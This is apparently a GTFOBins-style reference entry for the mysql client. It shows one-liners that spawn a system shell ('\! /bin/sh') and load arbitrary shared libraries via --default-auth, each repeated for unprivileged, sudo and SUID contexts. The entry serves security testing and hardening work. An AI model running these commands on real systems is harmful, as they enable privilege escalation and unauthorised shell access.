This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
mysql -e '\! /bin/sh'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
mysql -e '\! /bin/sh'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
mysql -e '\! /bin/sh'
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
This function can be performed by any unprivileged user.
mysql --default-auth ../../../../../path/to/lib
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
mysql --default-auth ../../../../../path/to/lib
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
mysql --default-auth ../../../../../path/to/lib